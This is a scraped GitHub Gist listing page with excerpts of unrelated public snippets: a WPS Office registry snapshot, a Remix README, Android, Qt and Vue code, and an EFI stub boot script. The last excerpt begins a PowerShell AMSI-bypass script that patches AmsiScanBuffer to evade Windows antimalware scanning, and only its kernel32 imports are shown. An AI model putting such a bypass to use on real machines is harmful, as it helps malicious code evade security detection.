Skip to content

Instantly share code, notes, and snippets.

@choco-bot
choco-bot / 1.RegistrySnapshot.xml
Created Mar 3, 2021
wps-office-free v11.2.0.10017 - Passed - Package Tests Results
View 1.RegistrySnapshot.xml
<?xml version="1.0" encoding="utf-8"?>
<registrySnapshot xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance">
<user>S-1-5-21-1953236517-242735908-2433092285-500</user>
<keys>
<key installerType="Nsis" displayName="WPS Office (11.2.0.10017)" displayVersion="11.2.0.10017">
<RegistryView>Registry64</RegistryView>
<KeyPath>HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\Kingsoft Office</KeyPath>
<DefaultValue />
<InstallLocation><![CDATA[]]></InstallLocation>
<UninstallString><![CDATA[C:\Users\Administrator\AppData\Local\Kingsoft\WPS Office\11.2.0.10017\utility\uninst.exe]]></UninstallString>
@victor35
victor35 / README.txt
Created Mar 3, 2021
Created using remix-ide: Realtime Ethereum Contract Compiler and Runtime. Load this file by pasting this gists URL or ID at https://remix.ethereum.org/#version=soljson-v0.4.0+commit.acd334c9.js&optimize=false&runs=200&gist=
View README.txt
REMIX EXAMPLE PROJECT
Remix example project is present when Remix loads very first time or there are no files existing in the File Explorer.
It contains 3 directories:
1. 'contracts': Holds three contracts with different complexity level, denoted with number prefix in file name.
2. 'scripts': Holds two scripts to deploy a contract. It is explained below.
3. 'tests': Contains one test file for 'Ballot' contract with unit tests in Solidity.
SCRIPTS
View MainActivity.java
package com.example.calljava_app;
import android.os.Bundle;
import androidx.annotation.NonNull;
import io.flutter.app.FlutterActivity;
import io.flutter.embedding.engine.FlutterEngine;
import io.flutter.plugin.common.MethodCall;
import io.flutter.plugin.common.MethodChannel;
import io.flutter.plugins.GeneratedPluginRegistrant;
View untrusted-lvl5-solution.js
/******************
* minesweeper.js *
******************
*
* So much for Asimov's Laws. They're actually trying to kill
* you now. Not to be alarmist, but the floor is littered
* with mines. Rushing for the exit blindly may be unwise.
* I need you alive, after all.
*
* If only there was some way you could track the positions
@terenty-rezman
terenty-rezman / serialize.cpp
Created Mar 3, 2021
Qt serialization example
View serialize.cpp
#include <QtCore/QCoreApplication>
#include <qdatastream.h>
#include <qvector3d.h>
#include <qdebug.h>
#include <qtcpserver.h>
#include <qtcpsocket.h>
int main(int argc, char* argv[])
{
View PostsDataSourceFactory.kt
class PostsDataSourceFactory(
private val apiService: PostsService,
private val compositeDisposable: CompositeDisposable
): DataSource.Factory<Int, Posts>(){
val postsLiveDataSource = MutableLiveData<PostsDataSource>()
override fun create(): DataSource<Int, Posts> {
val postsDataSource = PostsDataSource(apiService, compositeDisposable)
@emilcarr
emilcarr / mkefistub.sh
Created Mar 3, 2021
Create an EFI Stub bootloader for those times GRUB refuses to behave.
View mkefistub.sh
#!/bin/sh
# Linux device, EFI label, EFI subdirectory, ESP disk, ESP num
# Edit these values before running
dev=/dev/nvme1n1p2
label="Arch Linux (EFIStub)"
efidir=arch
disk=/dev/nvme1n1
num=1
@myChen-skr
myChen-skr / index.pug
Created Mar 3, 2021
Vue card carousel
View index.pug
link(href="https://fonts.googleapis.com/css?family=Source+Sans+Pro:200,300,400" rel="stylesheet")
h1 Vue Carousel
script#v-carousel(type="x/template")
.card-carousel-wrapper
.card-carousel--nav__left(
@click="moveCarousel(-1)"
:disabled="atHeadOfList"
)
@Insideus
Insideus / my-am-bypass.ps1
Created Mar 3, 2021 — forked from FatRodzianko/my-am-bypass.ps1
small modification to Rastemouse's AmsiScanBuffer bypass to use bytes. Uses different opcode bytes
View my-am-bypass.ps1
$Win32 = @"
using System;
using System.Runtime.InteropServices;
public class Win32 {
[DllImport("kernel32")]
public static extern IntPtr GetProcAddress(IntPtr hModule, string procName);
[DllImport("kernel32")]